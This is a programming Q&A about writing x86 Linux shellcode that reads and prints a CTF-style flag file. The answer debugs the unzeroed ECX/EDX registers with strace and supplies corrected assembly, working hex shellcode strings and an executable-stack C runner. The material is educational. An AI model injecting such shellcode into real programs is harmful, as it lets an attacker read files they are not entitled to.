Search code examples
linuxassemblyx86nasmshellcode

Shellcode doesn't work when pulled out of binary


I'm learning to write shellcode and am trying to read a file (in this case, /flag/level1.flag). This file contains a single string.

Through looking at tutorials online, I've come up with the following shellcode. It opens the file, reads it byte by byte (pushing each byte onto the stack), then writes to stdout giving the pointer to the top of the stack.

section .text

global _start

_start:
    jmp ender

starter:
    pop ebx                     ; ebx -> ["/flag/level1.flag"]
    xor eax, eax 
    mov al, 0x5                 ; open()
    int 0x80
    mov esi, eax                ; [file handle to flag]
    jmp read

exit:
    xor eax, eax 
    mov al, 0x1               ; exit()
    xor ebx, ebx                ; return code: 0
    int 0x80

read:
    xor eax, eax 
    mov al, 0x3                 ; read()
    mov ebx, esi                ; file handle to flag
    mov ecx, esp                ; read into stack
    mov dl, 0x1                ; read 1 byte
    int 0x80

    xor ebx, ebx 
    cmp eax, ebx 
    je exit                     ; if read() returns 0x0, exit

    xor eax, eax 
    mov al, 0x4                 ; write()
    mov bl, 0x1                 ; stdout
    int 0x80
    inc esp 
    jmp read                  ; loop

ender:
    call starter
    string: db "/flag/level1.flag"

Here's what I do to compile and test it:

nasm -f elf -o test.o test.asm
ld -m elf_i386 -o test test.o

When I run ./test, I get the expected result. Now if I pull the shellcode out of the binary and test it in a stripped down C runner:

char code[] = \
"\xeb\x30\x5b\x31\xc0\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe6\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe3\xe8\xcb\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67";


int main(int argc, char **argv){
    int (*exeshell)();
    exeshell = (int (*)()) code;
    (int)(*exeshell)();
}

Compiled the following way:

gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c 

And then run it, I see that I read the file properly, but then continue to print garbage to the terminal (I have to Ctrl+C).

I'm guessing it has to do with read() not encountering a \x00 and, thus continuing to print data from the stack until it finds the null marker. Is that correct? If so, why does the compiled binary work?


Solution

  • TL;DR: Never assume the state of the registers when running as an exploit in a target executable. If you need an entire register zeroed out you must do so yourself. Running standalone and in a running program may behave differently depending on what is in the registers when the exploit begins to execute.


    If you properly build your C code making sure the stack is executable and you build a 32-bit exploit and run it in a 32-bit executable (as you have done), the primary reason things may fail when not standalone is if you haven't properly zeroed out registers properly. As a standalone program many of the registers may be 0 or have 0 in the upper 24-bits where as inside a running program that may not be the case. This can cause your system calls to behave differently.

    One of the best tools to debug shell code is a debugger like GDB. You can step through your exploit and review the register state prior to your system calls (int 0x80). An easier approach in this case is the STRACE tool (system trace). It will show you all the system calls and the parameters that are being issued by a program.

    If you run strace ./test >output on your standalone program where /flag/level1.flag contains:

    test
    

    You'd probably see STRACE output something similar to:

    execve("./test", ["./test"], [/* 26 vars */]) = 0
    strace: [ Process PID=25264 runs in 32 bit mode. ]
    open("/flag/level1.flag", O_RDONLY)     = 3
    read(3, "t", 1)                         = 1
    write(1, "t", 1)                        = 1
    read(3, "e", 1)                         = 1
    write(1, "e", 1)                        = 1
    read(3, "s", 1)                         = 1
    write(1, "s", 1)                        = 1
    read(3, "t", 1)                         = 1
    write(1, "t", 1)                        = 1
    read(3, "\n", 1)                        = 1
    write(1, "\n", 1
    )                       = 1
    read(3, "", 1)                          = 0
    exit(0)                                 = ?
    +++ exited with 0 +++
    

    I redirected standard output to the file output so it didn't clutter the STRACE output. You can see the file /flag/level1.flag was opened as O_RDONLY and file descriptor 3 was returned. You then read 1 byte at a time and wrote it to standard output (file descriptor 1). The output file contains the data that is in /flag/level1.flag.

    Now run STRACE on your shellcode program and examine the difference. Ignore all the system calls prior to reading the flag file as those are the system calls the shellcode program made directly and indirectly before it got to your exploit. The output may not look exactly like this but it is probably similar.

    open("/flag/level1.flag", O_RDONLY|O_NOCTTY|O_TRUNC|O_DIRECT|O_LARGEFILE|O_NOFOLLOW|O_CLOEXEC|O_PATH|O_TMPFILE|0xff800000, 0141444) = -1 EINVAL (Invalid argument)
    read(-22, 0xffeac2cc, 4293575425)       = -1 EBADF (Bad file descriptor)
    write(1, "\211\345_V\1\0\0\0\224\303\352\377\234\303\352\377@\0`V\334Sl\367\0\303\352\377\0\0\0\0"..., 4293575425) = 4096
    read(-22, 0xffeac2cd, 4293575425)       = -1 EBADF (Bad file descriptor)
    write(1, "\345_V\1\0\0\0\224\303\352\377\234\303\352\377@\0`V\334Sl\367\0\303\352\377\0\0\0\0\206"..., 4293575425) = 4096
    [snip]
    

    You should notice that the open failed with -1 EINVAL (Invalid argument) and if you observe the flags passed to open there are many more than O_RDONLY. This suggests that the second parameter in ECX likely hasn't been properly zeroed. If you look at your code you have this:

    pop ebx                     ; ebx -> ["/flag/level1.flag"]
    xor eax, eax 
    mov al, 0x5                 ; open()
    int 0x80
    

    You don't set ECX to anything. When running in a real program ECX is non zero. Modify the code to be:

    pop ebx                     ; ebx -> ["/flag/level1.flag"]
    xor eax, eax 
    xor ecx, ecx
    mov al, 0x5                 ; open()
    int 0x80
    

    Now generate the shellcode string with this fix and it probably looks something like:

    \xeb\x32\x5b\x31\xc0\x31\xc9\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe6\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe3\xe8\xc9\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67

    Run this shell string in your shellcode program using STRACE again and the output may appear something like:

    open("/flag/level1.flag", O_RDONLY|O_EXCL|O_APPEND|O_DSYNC|0xff800000) = 3
    read(3, "test\n", 4286583809)           = 5
    write(1, "test\n\0\0\0\24\25\200\377\34\25\200\377@\0bV\334\363r\367\200\24\200\
    377\0\0\0\0"..., 4286583809) = 4096
    

    This is better, but there is still a problem. The number of bytes to read (third parameter) is 4286583809 (your value may be different). Your standalone code is suppose to be reading 1 byte at a time. This indicates that likely the upper 24 bits of EDX were not properly zeroed out. If you review the code you do:

    read:
        xor eax, eax 
        mov al, 0x3                 ; read()
        mov ebx, esi                ; file handle to flag
        mov ecx, esp                ; read into stack
        mov dl, 0x1                 ; read 1 byte
        int 0x80
    

    At no point in this section of code (or before it) do you zero out EDX before placing 1 in DL. You can do so with:

    read:
        xor eax, eax
        mov al, 0x3                 ; read()
        mov ebx, esi                ; file handle to flag
        mov ecx, esp                ; read into stack
        xor edx, edx                ; Zero all of EDX
        mov dl, 0x1                 ; read 1 byte
        int 0x80
    

    Now generate the shellcode string with this fix and it probably looks something like:

    \xeb\x34\x5b\x31\xc0\x31\xc9\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\x31\xd2\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe4\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe1\xe8\xc7\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67

    Run this shell string in your shellcode program using STRACE again and the output may appear something like:

    open("/flag/level1.flag", O_RDONLY)     = 3
    read(3, "t", 1)                         = 1
    write(1, "t", 1)                        = 1
    read(3, "e", 1)                         = 1
    write(1, "e", 1)                        = 1
    read(3, "s", 1)                         = 1
    write(1, "s", 1)                        = 1
    read(3, "t", 1)                         = 1
    write(1, "t", 1)                        = 1
    read(3, "\n", 1)                        = 1
    write(1, "\n", 1)                       = 1
    read(3, "", 1)                          = 0
    

    This produces the desired behaviour. Reviewing the rest of the assembly code it doesn't appear this mistake has been made on any of the other registers and system calls. Using GDB would have shown you similar information about the state of the registers before each system call. You would have discovered the registers didn't always have the expected values.